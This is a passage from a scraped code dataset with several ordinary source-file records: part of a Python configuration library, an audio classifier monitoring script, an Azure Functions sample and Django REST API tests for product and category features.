True\n    show_help            = None\n    # fmt: on\n\n    def get_inner(cli, d, path, attrs, cfg):\n        return d.get(path[-1])\n\n\n# -------------------------------------------------------------- Key Shortening\n\n\ndef shorten(k):\n    \"\"\"\n    k an attrname like foo_bar_baz.\n    We return fbb, fbbaz, which we'll match startswith style if exact match\n    not unique.\n    \"\"\"\n    parts = k.split('_')\n    r = ''.join([s[0] for s in parts if s])\n    return r, r + parts[-1][1:]\n\n\ndef to_shorts(longs, shorten=shorten):\n    \"\"\"build a dict of short forms pointing to their original forms\n\n    Collisions: We'll complain for foo_bar_baz and foo_baz_baz attrs\n    and don't try to be smart here. Thats why we need the 'have' list.\n    \"\"\"\n    m = odict()\n    have = set()\n    for k in longs:\n        m[k] = k  # allowed match stsarts with also ok\n        sh, sh_ending = shorten(k)\n        if sh in have:\n            # thats ok, colliding shorts\n            m.pop(sh)\n        else:\n            m[sh] = k\n            have.add(sh)\n            if sh == sh_ending:\n                # thats ok:\n                continue\n        if sh_ending in have:\n            # developer has to rename the attribute if he wants the feature\n            throw(\n                Exc.cannot_build_unique_short_form,\n                key=k,\n                colliding=sh_ending,\n                have=have,\n            )\n        m[sh_ending] = k\n        have.add(sh_ending)\n    return m\n\n\ndef short_to_long(provider, d, attrs, ctx):\n    shorts = ctx.get('shorts')\n    if not shorts:\n        shorts = ctx['shorts'] = to_shorts([l[0] for l in attrs if l])\n    nd = odict()\n    orig_shorts = {}\n    for k in d:\n        if k in ('', '/'):\n            # a \"key\" started with a '.' or '/' -> MUST be a positional arg and not a\n            # key:\n            k = flatten_dotted_arg_from_dict(d[k])\n            nd[k] = 'is_set'\n            continue\n\n        try:\n            # nd[shorts[k]] = d[k]\n            h = shorts[k]\n        except:\n            h = [p for p in shorts if p.startswith(k)]\n            if len(h) > 1:\n                throw(Exc.non_unique, key=k, have=h)\n            if len(h) == 1:\n                h = h[0]\n                # nd[shorts[h[0]]] = d[k]\n            else:\n                h = k\n        nd[h] = d[k]\n        orig_shorts[h] = k\n    nd['_orig_shorts_'] = orig_shorts\n    return nd\n\n\n# ------------------------------------------------------------------------- CLI\n\n\ndef cli_prov(App, argv=None):\n    if argv is None:\n        argv = sys.argv[1:]\n    cli = CLI(argv, help_switch=getattr(App, '_cli_help_switch', '-h'))\n    return cli\n\n\n@attr.s\nclass CLI(Provider):\n    # fmt: off\n    argvd                  = attr.ib(type= odict, converter = lambda x: CLI.pre_parse_cli(x))\n    switches               = attr.ib(default={}, validator = lambda *x: CLI.set_switches(*x))\n    allow_short_keys       = attr.ib(True)\n    set_runner_func        = attr.ib(True)\n    bool_reverse_on_no_val = attr.ib(True)\n    str_only               = attr.ib(True)\n    allow_unknown_attrs    = attr.ib(False)\n    help_switch            = attr.ib('-h')\n    # fmt: on\n\n    @staticmethod\n    def pre_parse_cli(argv):\n        \"\"\"just take the command line appart, w/o knowledge of app vars yet\n        What we do though is to build nested dicts for f.b=bar style vars\n        \"\"\"\n        r, _into = odict(), CLI.into\n        idx, leng = -1, len(argv) - 1\n        while idx < leng:\n            idx += 1\n            arg = argv[idx]\n            if '=' in arg:\n                k, v = arg.split('=', 1)\n                _into(r, k, v)\n                continue\n            if idx == leng:\n                if arg.startswith('-') and len(arg) > 2:\n                    # -hhhc -> hhhc\n                    _into(r, arg[:2], arg[1:])\n                else:\n                    _into(r, arg, 'is_set')\n            elif argv[idx + 1].startswith('-') or '=' in argv[idx + 1]:\n                # next one starts with - or is a key=val assignment -> this one is\n                # bool:\n                _into(r, arg, 'is_set')\n            elif arg.startswith('-'):\n                # app -c foo\n                idx += 1\n                _into(r, arg, argv[idx])\n            else:\n                # app 1 2\n                _into(r, arg, 'is_set')\n\n        return r\n\n    @staticmethod\n    def into(m, k, v):\n        l = k.split('.')\n        if l[0] in ('', '/'):\n            # is a positional arg:\n            m[k] = 'is_set'\n            return\n        # just a float, not a path 1.23:\n        if l[0].isdigit():\n            m[k] = v\n            return\n\n        for p in l[:-1]:\n            m = m.setdefault(p, {})\n        m[l[-1]] = v\n\n    @staticmethod\n    def set_switches(cli, attr, switches):\n        if not switches:\n            return\n        # must preserve the order of original, can't just replace:\n        d = odict()\n        for k, v in cli.argvd.items():\n            if not k.startswith('-'):\n                d[k] = v\n            else:\n                try:\n                    d[switches[k]] = v\n                except:\n                    throw(Exc.not_a_switch, found=k, known=switches)\n        cli.argvd = d\n\n    # @staticmethod\n    # def is_switch(_, __, s):\n    #    ''' not in use '''\n    #    if not s in string.ascii_letters:\n    #        throw(Exc.not_a_switch, s)\n\n    def cfg(cli):\n        hs = cli.argvd.pop(cli.help_switch, None)\n        if hs is not None:\n            cli.show_help = hs\n        return cli.argvd\n\n\n# --------------------------------------------------------------------- Environ\n\n\ndef conv_str(v):\n    if v and v[0] in ('[', '(', '{'):\n        try:\n            return literal_eval(v)\n        except:\n            return v\n    return v\n\n\n@attr.s\nclass Env(Provider):\n    prefix = attr.ib(default='', type=str, converter=lambda p: (p + '_'))\n    str_only = attr.ib(True)\n\n    def build_env_dict(env):\n        e = os.environ\n        l = len(env.prefix)\n        return odict(\n            [(k[l:], conv_str(e[k])) for k in e if k.startswith(env.prefix)]\n        )\n\n    def cfg(env):\n        return env.build_env_dict()\n\n    def get_inner(env, d, path, attrs, cfg):\n        p = path[-1] + '_'\n        l = len(p)\n        d = odict([(k[l:], v) for k, v in d.items() if k.startswith(p)])\n        return d\n\n\n# ------------------------------------------------------------------------ File\n\n\n@attr.s\nclass File(Provider):\n    filename = attr.ib(\n        default='', type=str, validator=lambda self, attribs, v: self.load(v)\n    )\n    filetype = attr.ib(default='json')\n    ignore_missing = attr.ib(default=None)\n    _cfg = attr.ib(default={})\n\n    def cfg(file):\n        return file._cfg\n\n    def load(file, fn):\n        if not fn:\n            return\n        die = False\n        if is_str(fn):\n            die = True\n        else:\n            # app class given:\n            fn = fn.__name__ + '.' + file.filetype\n        if file.ignore_missing != None:\n            die = not file.ignore_missing\n        try:\n            if not os.path.exists(fn):\n                fn = os.path.join(user_config_dir(), fn)\n            fn = os.path.abspath(fn)\n            file.filename = fn\n            with open(fn) as fd:\n                s = fd.read()\n            file._cfg = json.loads(s)\n        except Exception as ex:\n            msg = Exc.file_not_found\n            args = odict(exc=ex, fn=fn)\n            if die:\n                throw(msg, **args)\n            debug(msg, **args)\n\n\n# --------------------------------------------------------- Programmed Defaults\n\n\n@attr.s\nclass Defaults:\n    cls = attr.ib()\n    cfg = {}\n\n\nhave_func = '\\x04'\n\n\ndef was_a_dotted_positional_arg(cfg_val, key, prov):\n    \"\"\"\n    This handles a special case:\n    class App:\n        def do_run(app, some_arg_with_dotted_value): pass\n    If the `some_arg_with_dotted_value` is given positionally (supported for\n    func params), .e.g. foo.bar.baz then we'll CLI preparse it into:\n    {foo: {'bar': 'is_set'}} - and foo might be even considered a do_foo func.\n    \"\"\"\n    was = flatten_dotted_arg_from_dict(cfg_val)\n    if not was:\n        return\n    was = '%s.%s' % (key, was)\n    m = {}\n    for k, v in prov[1].items():\n        if k == key:\n            k, v = was, 'is_set'\n        m[k] = v\n    prov[1] = m\n    return True\n\n\ndef walk_attrs(cls, providers, ctx):\n    \"\"\"\n    here we burn startup time - recursively scanning all(!) cls attrs of the app.\n    have to see if we should cache the scan results.\n\n    \"\"\"\n    path = cls._path\n\n    # first we build all infos about the attrs within our class:\n    # (value, type, isit a (do) function):\n    def nfo(cls, k):\n        v = getattr(cls, k)\n        t = type(v)\n        ft = t in t_funcs\n        if ft:\n            if not k.startswith('do_'):\n                return\n            k = k[3:]\n        return k, v, t, ft\n\n    attrs = [nfo(cls, k) for k in dir(cls) if not k.startswith('_')]\n\n    # now get fetch config from all providers regrding this class nesting\n    # level:\n    if path:\n        providers = list(\n            filter(\n                lambda p: p[1],\n                [\n                    [p, p.get_inner(cfg, path, attrs, ctx), str_only]\n                    for p, cfg, str_only in providers\n                ],\n            )\n        )\n    else:\n        # first level:\n        h = [l for l in [p[0].show_help for p in providers] if l is not None]\n        if h:\n            ctx['show_help'] = h[0]\n        ctx['funcs'] = {}\n    sh_help = ctx.get('show_help')\n\n    # now the shorts matching:\n    ctx['shorts'] = None\n    # if path == ('inner', 'deep'):\n    #    breakpoint()\n    providers = [\n        p\n        if not p[0].allow_short_keys\n        else [p[0], short_to_long(p, p[1], attrs, ctx), p[1]]\n        for p in providers\n    ]\n\n    func, have_attrs = None, set()\n\n    # now the replacement run over all attrs - and the casting:\n    # if the value is a nested class we recurse:\n    for l in attrs:\n        if not l:\n            continue\n        # key value, type, is function_type of the original class:\n        k, v, t, ft = l\n        v_orig = v\n\n        have_attrs.add(k)\n        # if k == 'b_dflt_False':\n        #    breakpoint()\n        have_cfg = False\n        from_prov = None\n        for p in providers:\n            cfg_val = p[1].get(k, nil)\n            if cfg_val != nil:\n                have_cfg = True\n                str_only = p[2]\n                # e.g. CLI:\n                from_prov = p[0].__class__.__name__\n                break\n\n        if t != type:\n            # an instance. Like: some_bool=True\n            # or a function type?\n            if ft:\n                if have_cfg:\n                    if isinstance(cfg_val, dict):\n                        _ = p[0].__class__.__name__\n                        # uh-oh: A positionally given dotted arg collides with\n                        # a do function name?\n                        if was_a_dotted_positional_arg(cfg_val, k, p):\n                            have_attrs.remove(k)\n                            have_cfg = False\n                            continue\n                        repl_func_defaults(func=v, dflts=cfg_val, provider=_)\n                    # (else we just have 'is_set' if its the function req. to\n                    # run - then we do not change defaults)\n                    if p[0].set_runner_func:\n                        # might be nested in cli dict, i.e. earlier attrs still to come\n                        func = [path, v]\n                continue\n\n            if t == t_attr:\n                if have_cfg:\n                    typ = v.type or type(v._default)\n                    v._default = cast(cfg_val, typ) if str_only else cfg_val\n                    # already an attr.ib:\n            else:\n                if have_cfg:\n                    v = cast(cfg_val, t) if str_only else cfg_val\n                v = attr.ib(v)\n        else:\n            # a typ - no value. E.g. some_bool = bool\n            caster = cast.get(v)\n            if caster:\n                if not have_cfg:\n                    if sh_help:\n                        # values not required then:\n                        cfg_val = v.__name__\n                        caster = lambda s, v, ctx: 'req:<%s>' % s\n                    else:\n                        throw(Exc.require_value, key=k)\n                v = attr.ib(caster(cfg_val, v, ctx) if str_only else cfg_val)\n            else:\n                v._path = path + (k,)\n                v, inner_func = walk_attrs(v, providers, ctx)\n                if inner_func and func:\n                    throw(\n                        Exc.double_func_call,\n                        func1=funcname(func1),\n                        func2=funcname(inner_func),\n                    )\n                if not func and inner_func:\n                    func = inner_func\n\n                # v = attr.ib(factory=lambda cls=v: cls())\n                v = attr.ib(factory=lambda cls=v: cls())\n\n        v.metadata['orig'] = v_orig\n        v.metadata['provider'] = from_prov\n        setattr(cls, k, v)\n\n    for p in providers:\n        # cli is a provider which sets the runner func:\n        p[1].pop('_orig_shorts_', 0)\n        if not path:\n            # first level:\n            h = ctx.get('show_help')\n            if h is not None:\n                return (attr.s(cls), ((), (show_help, (), {'level': h})))\n\n            if p[0].set_runner_func:\n                if not func:\n                    dflt_func = getattr(cls, 'do_run', None)\n                    if not dflt_func:\n                        throw(Exc.cannot_determine_function)\n                    func = [(), dflt_func]\n                params = [\n                    (k, v) for k, v in p[1].items() if not k in have_attrs\n                ]\n                path, func = func\n                args = map_args_to_func_sig(func, params, map_from=1, ctx=ctx)\n                return attr.s(cls), (path, (func,) + args)\n\n        # now find unknown kvs at deeper levels:\n        if not p[0].allow_unknown_attrs:\n            unknown = [k for k in p[1] if not k in have_attrs]\n            if unknown:\n                throw(Exc.unmatched, unknown=unknown)\n\n    return attr.s(cls), func\n\n\ndef show_help(app, level=None, h=None):\n    from .help import render_help\n\n    return render_help(app, level, h)\n\n\ndef inner(app, *pth):\n    root = app\n    app._root = app\n    for p in pth:\n        app = getattr(app, p)\n    app._root = root\n    return app\n\n\ndef err_log_wrapped(func, log, app):\n    try:\n        return func(app)(*a, **kw)\n    except Exception as ex:\n        msg = ex.args\n        # we might check here if the app already logged (e.g. check last\n        # msg)\n        throw(ex.__class__.__name__, msg=msg)\n\n\ndef get_func(pth, func_with_args, log_err, log, app, *a, **kw):\n    obj = inner(app, *pth)\n    func, args, kwg = func_with_args\n    args += a\n    kwg.update(kw)\n    return func(obj, *args, **kwg)\n\n\ndef root(obj):\n    return obj._root\n\n\ndef parent(obj):\n    r = root_ = root(obj)\n    for p in obj._path[:-1]:\n        r = getattr(r, p)\n        r._root = root_\n    return r\n\n\ndef as_dict(obj):\n    return attr.asdict(obj)\n\n\ndef configure(\n    App, providers=None, req_args_complete=False, log_err=False, log=None\n):\n    if common.PY2:\n        recursive_to_new_style(App)\n\n    set_log(log)\n    if not providers:\n        # take reasonable defaults\n        n = App.__name__\n        providers = (cli_prov(App), Env(n), File(App))\n    if not isinstance(providers, (tuple, list)):\n        providers = [providers]\n    App._path = ()\n    ctx = {}\n    ctx['req_args_complete'] = req_args_complete\n    App, pth_func_with_args = walk_attrs(\n        App, [[p, p.cfg(), p.str_only] for p in providers], ctx\n    )\n    # pdt(t0)\n    if pth_func_with_args:\n        pth, func_with_args = pth_func_with_args\n        func = partial(get_func, pth, func_with_args, log_err, log)\n    else:\n        func = None\n    return App, func\n", "repo_name": "axiros/DevApps", "sub_path": "src/devapps/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 17002, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "devapps.common.nil", "line_number": 23, "usage_type": "attribute"}, {"api_name": "devapps.common", "line_number": 23, "usage_type": "name"}, {"api_name": "devapps.common.Exc", "line_number": 24, "usage_type": "attribute"}, {"api_name": "devapps.common", "line_number": 24, "usage_type": "name"}, {"api_name": "devapps.common.throw", "line_number": 25, "usage_type": "attribute"}, {"api_name": "devapps.common", "line_number": 25, "usage_type": "name"}, {"api_name": "devapps.common.is_str", "line_number": 26, "usage_type": "attribute"}, {"api_name": "devapps.common", "line_number": 26, "usage_type": "name"}, {"api_name": "devapps.common.breakpoint", "line_number": 27, "usage_type": "attribute"}, {"api_name": "devapps.common", "line_number": 27, "usage_type": "name"}, {"api_name": "devapps.common.PY2", "line_number": 31, "usage_type": "attribute"}, {"api_name": "devapps.common", "line_number": 31, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 37, "usage_type": "name"}, {"api_name": "func_sigs.flatten_dotted_arg_from_dict", "line_number": 111, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 138, "usage_type": "attribute"}, {"api_name": "casting.attr.ib", "line_number": 146, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 146, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 147, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 147, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 148, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 148, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 149, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 149, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 150, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 150, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 151, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 151, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 152, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 152, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 153, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 153, "usage_type": "name"}, {"api_name": "casting.attr.s", "line_number": 143, "usage_type": "attribute"}, {"api_name": "casting.attr", "line_number": 143, "usage_type": "name"}, {"api_name": "ast.literal_eval", "line_number": 241, "usage_type": "call"}, {"api_name": "casting.attr.ib", "line_number": 249, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 249, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 250, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 250, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 253, "usage_type": "attribute"}, {"api_name": "casting.attr.s", "line_number": 247, "usage_type": "attribute"}, {"api_name": "casting.attr", "line_number": 247, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 274, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 274, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 277, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 277, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 278, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 278, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 279, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 279, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 296, "usage_type": "call"}, {"api_name": "os.path", "line_number": 296, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 297, "usage_type": "call"}, {"api_name": "os.path", "line_number": 297, "usage_type": "attribute"}, {"api_name": "appdirs.user_config_dir", "line_number": 297, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 298, "usage_type": "call"}, {"api_name": "os.path", "line_number": 298, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 302, "usage_type": "call"}, {"api_name": "common.debug", "line_number": 308, "usage_type": "call"}, {"api_name": "casting.attr.s", "line_number": 272, "usage_type": "attribute"}, {"api_name": "casting.attr", "line_number": 272, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 316, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 316, "usage_type": "name"}, {"api_name": "casting.attr.s", "line_number": 314, "usage_type": "attribute"}, {"api_name": "casting.attr", "line_number": 314, "usage_type": "name"}, {"api_name": "func_sigs.flatten_dotted_arg_from_dict", "line_number": 332, "usage_type": "call"}, {"api_name": "casting.t_funcs", "line_number": 358, "usage_type": "name"}, {"api_name": "func_sigs.repl_func_defaults", "line_number": 436, "usage_type": "call"}, {"api_name": "casting.t_attr", "line_number": 444, "usage_type": "name"}, {"api_name": "casting.cast", "line_number": 447, "usage_type": "call"}, {"api_name": "casting.cast", "line_number": 451, "usage_type": "call"}, {"api_name": "casting.attr.ib", "line_number": 452, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 452, "usage_type": "name"}, {"api_name": "casting.cast.get", "line_number": 455, "usage_type": "call"}, {"api_name": "casting.cast", "line_number": 455, "usage_type": "name"}, {"api_name": "casting.attr.ib", "line_number": 464, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 464, "usage_type": "name"}, {"api_name": "casting.funcname", "line_number": 471, "usage_type": "call"}, {"api_name": "casting.funcname", "line_number": 472, "usage_type": "call"}, {"api_name": "casting.attr.ib", "line_number": 478, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 478, "usage_type": "name"}, {"api_name": "casting.attr.s", "line_number": 491, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 491, "usage_type": "name"}, {"api_name": "func_sigs.map_args_to_func_sig", "line_number": 503, "usage_type": "call"}, {"api_name": "casting.attr.s", "line_number": 504, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 504, "usage_type": "name"}, {"api_name": "casting.attr.s", "line_number": 512, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 512, "usage_type": "name"}, {"api_name": "help.render_help", "line_number": 518, "usage_type": "call"}, {"api_name": "casting.attr.asdict", "line_number": 561, "usage_type": "call"}, {"api_name": "casting.attr", "line_number": 561, "usage_type": "name"}, {"api_name": "devapps.common.PY2", "line_number": 567, "usage_type": "attribute"}, {"api_name": "devapps.common", "line_number": 567, "usage_type": "name"}, {"api_name": "casting.recursive_to_new_style", "line_number": 568, "usage_type": "call"}, {"api_name": "common.set_log", "line_number": 570, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 586, "usage_type": "call"}]}
{"seq_id": "1694540781", "text": "import os\nfrom sklearn.svm import SVC\nimport numpy as np\nfrom sklearn.externals import joblib\nimport pyaudio\nimport time\nimport threading\nimport random\nimport string\nimport wave\nfrom scipy.io.wavfile import write\n\nclf = joblib.load('svm.pkl.cmp')\n\nsamplingrate = 8192\nmonitorrate = 16#0.1sに1回くらいcheckしよう\nCHUNK = 8192\n\n\np = pyaudio.PyAudio()\n\nprint(\"monitor start\")\n\nstream = p.open(\n    format = pyaudio.paInt16,\n    channels = 1,\n    rate = samplingrate,\n    input = True,\n    frames_per_buffer = CHUNK\n)\nCHUNK = 512\ns = 1.0\nRATE = 8192\nHz = RATE\nCHUNK = int(RATE*s)\ndef randomname():\n    randlist = [random.choice(string.ascii_letters + string.digits) for i in range(12)]\n    return ''.join(randlist)\n\ndef worker():\n    receive = stream.read(CHUNK+CHUNK//16)\n    ret = np.frombuffer(receive, dtype = \"int16\")[CHUNK//16-1:-1]\n    data = np.fft.fft(np.hamming(len(ret))*ret, norm = \"ortho\")\n    data = data[0:CHUNK//2]\n    data = np.array([np.abs(data)])\n    if clf.predict(data) == [1]:\n        print(\"pashagai emerged!{}\".format(random.randint(0, 9)))\n        path = os.getcwd() + \"/trainincorrect\"\n        files = os.listdir(path)\n        count = len(files)\n        fname = randomname()\n        np.save(path+ \"/\" + fname + \".npy\", data)\n        print(len(data))\n        write(path+ \"/\" + fname + \".wav\",RATE,ret)\n        print(\"The data was recorded as incorrect data as {}\".format(fname))\n    #else:\n    #    print(\"0\")\ndef scheduler(interval, f, wait = True):\n    base_time = time.time()\n    next_time = 0\n    while True:\n        t = threading.Thread(target = f)\n        t.start()\n        if wait:\n            t.join()\n        next_time = ((base_time - time.time()) % interval) or interval\n        time.sleep(next_time)\n\nscheduler(1/4, worker, False)\n", "repo_name": "Thori97/BDM", "sub_path": "adddata.py", "file_name": "adddata.py", "file_ext": "py", "file_size_in_byte": 1772, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sklearn.externals.joblib.load", "line_number": 13, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 13, "usage_type": "name"}, {"api_name": "pyaudio.PyAudio", "line_number": 20, "usage_type": "call"}, {"api_name": "pyaudio.paInt16", "line_number": 25, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 37, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 37, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.frombuffer", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.fft.fft", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 43, "usage_type": "attribute"}, {"api_name": "numpy.hamming", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 45, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 47, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 48, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 52, "usage_type": "call"}, {"api_name": "scipy.io.wavfile.write", "line_number": 54, "usage_type": "call"}, {"api_name": "time.time", "line_number": 59, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 62, "usage_type": "call"}, {"api_name": "time.time", "line_number": 66, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 67, "usage_type": "call"}]}
{"seq_id": "36186756299", "text": "import azure.functions as func\nimport logging\nimport datetime\n\n# from flask import Flask, request, Response, redirect, url_for \n\napp = func.FunctionApp()\n\n# Learn more at aka.ms/pythonprogrammingmodel\n# Get started by running the following code to create a function using a HTTP trigger.\n# @app.function_name(name=\"HttpTrigger1\")\n# @app.route()\n# def test_function(req: func.HttpRequest) -> func.HttpResponse:\n#     return \"Foo\"\n\n@app.function_name(name=\"mytimer\")\n@app.schedule(schedule=\"0 */5 * * * *\", arg_name=\"mytimer\", run_on_startup=True,\n              use_monitor=False) \ndef test_function(mytimer: func.TimerRequest) -> None:\n    utc_timestamp = datetime.datetime.utcnow().replace(\n        tzinfo=datetime.timezone.utc).isoformat()\n\n    if mytimer.past_due:\n        logging.info('The timer is past due!')\n\n    logging.info('Python timer trigger function ran at %s', utc_timestamp)\n\n\n@app.route(route=\"hello\")\ndef test_function1(req):\n    return \"Hello\"\n", "repo_name": "vrdmr/test-new-vscode-programming", "sub_path": "function_app.py", "file_name": "function_app.py", "file_ext": "py", "file_size_in_byte": 962, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "azure.functions.FunctionApp", "line_number": 7, "usage_type": "call"}, {"api_name": "azure.functions", "line_number": 7, "usage_type": "name"}, {"api_name": "azure.functions.TimerRequest", "line_number": 19, "usage_type": "attribute"}, {"api_name": "azure.functions", "line_number": 19, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 21, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 26, "usage_type": "call"}]}
{"seq_id": "37729627248", "text": "from django.contrib.auth import get_user_model\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\n\nfrom marketapp.models import (\n    Category,\n    Product,\n    Feature,\n    FeatureValue,\n)\nfrom utils.tests import (\n    BaseAPITestCaseMixin,\n)\n\nUser = get_user_model()\n\n\nclass TestCategoriesAPI(BaseAPITestCaseMixin, APITestCase):\n    \"\"\"\n    Класс для тестирования API списка свойств категории или продукта\n    \"\"\"\n\n    category_features_urn = '/api/v1/categories/{}/features/'\n    product_features_urn = '/api/v1/products/{}/features/'\n\n    @classmethod\n    def setUpTestData(cls):\n        cls.user_admin = cls.create_admin()\n        cls.user1 = User.objects.create(username='testuser')\n\n        # Создаем разные категории\n        categories = Category.objects.bulk_create([\n            Category(name=f'cat{i}') for i in range(0, 3)\n        ])\n        cls.category1: Category = categories[0]\n        cls.category2: Category = categories[1]\n\n        # Создаем свойства\n        features = Feature.objects.bulk_create(\n            [Feature(name=f'feature{i}') for i in range(0, 3)]\n        )\n        cls.feature1: Feature = features[0]\n        cls.feature2: Feature = features[1]\n\n        # Создаем значения свойств\n        featurevalues = FeatureValue.objects.bulk_create(\n            [FeatureValue(name=f'val1{i}', feature=cls.feature1) for i in range(0, 3)]\n        )\n        cls.featurevalue1: FeatureValue = featurevalues[0]\n        featurevalues = FeatureValue.objects.bulk_create(\n            [FeatureValue(name=f'val2{i}', feature=cls.feature2) for i in range(0, 3)]\n        )\n        cls.featurevalue2: FeatureValue = featurevalues[0]\n\n        # Создаем разные продукты и присоединяем их к категориям\n        products = Product.objects.bulk_create([\n            Product(name=f'prod1{i}', user=cls.user1) for i in range(0, 3)\n        ])\n        cls.product1: Product = products[0]\n        for product in products:\n            product.category_set.add(cls.category1)\n            product.feature_set.add(cls.featurevalue1)\n\n        # Еще продукты\n        products += Product.objects.bulk_create([\n            Product(name=f'prod2{i}', user=cls.user1) for i in range(0, 3)\n        ])\n        cls.product2: Product = products[0]\n        for product in products:\n            product.category_set.add(cls.category1)\n            product.category_set.add(cls.category2)\n            product.feature_set.add(cls.featurevalue1)\n            product.feature_set.add(cls.featurevalue2)\n\n    def test_get_list_products_features(self):\n        \"\"\"\n        Тест получения списка свойств для продукта.\n        \"\"\"\n\n        self.client.logout()\n        for product in (self.product1, self.product2, ):\n            product_features_urn = self.product_features_urn.format(product.uuid)\n            response = self.client.get(product_features_urn)\n            self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n            # Проверяем просто по количеству элементов\n            self.assertEqual(response.data['count'], product.feature_set.count())\n            queryset = product.feature_set.all()[0].feature.featurevalue_set.filter(\n                productfeaturem2m__product__uuid=product.uuid\n            )\n            self.assertEqual(\n                len(response.data['results'][0]['featurevalue_set']),\n                queryset.count(),\n            )\n\n    def test_get_list_categories_features(self):\n        \"\"\"\n        Тест получения списка свойств для категории.\n        Пересечение свойств всех продуктов.\n        \"\"\"\n\n        self.client.logout()\n        category_features_urn = self.category_features_urn.format(self.category1.uuid)\n        response = self.client.get(category_features_urn)\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n        self.assertNotEqual(response.data['count'], 0)\n\n        # Проверяем просто по количеству элементов\n        queryset = Feature.objects.filter(\n            featurevalue__productfeaturem2m__product__productcategorym2m__category__uuid=self.category1.uuid\n        ).distinct()\n        self.assertEqual(response.data['count'], queryset.count())\n        for i, obj in enumerate(queryset):\n            queryset_ = FeatureValue.objects.filter(\n                feature=obj,\n                productfeaturem2m__product__productcategorym2m__category__uuid=self.category1.uuid\n            ).distinct()\n            self.assertEqual(\n                len(response.data['results'][i]['featurevalue_set']),\n                queryset_.count()\n            )\n\n", "repo_name": "smokost/CV", "sub_path": "portfolio/Django-Market/restapiapp/featuresapi/tests/test_main.py", "file_name": "test_main.py", "file_ext": "py", "file_size_in_byte": 4884, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 15, "usage_type": "call"}, {"api_name": "utils.tests.BaseAPITestCaseMixin", "line_number": 18, "usage_type": "name"}, {"api_name": "rest_framework.test.APITestCase", "line_number": 18, "usage_type": "name"}, {"api_name": "marketapp.models.Category.objects.bulk_create", "line_number": 32, "usage_type": "call"}, {"api_name": "marketapp.models.Category.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "marketapp.models.Category", "line_number": 32, "usage_type": "name"}, {"api_name": "marketapp.models.Category", "line_number": 33, "usage_type": "call"}, {"api_name": "marketapp.models.Category", "line_number": 35, "usage_type": "name"}, {"api_name": "marketapp.models.Category", "line_number": 36, "usage_type": 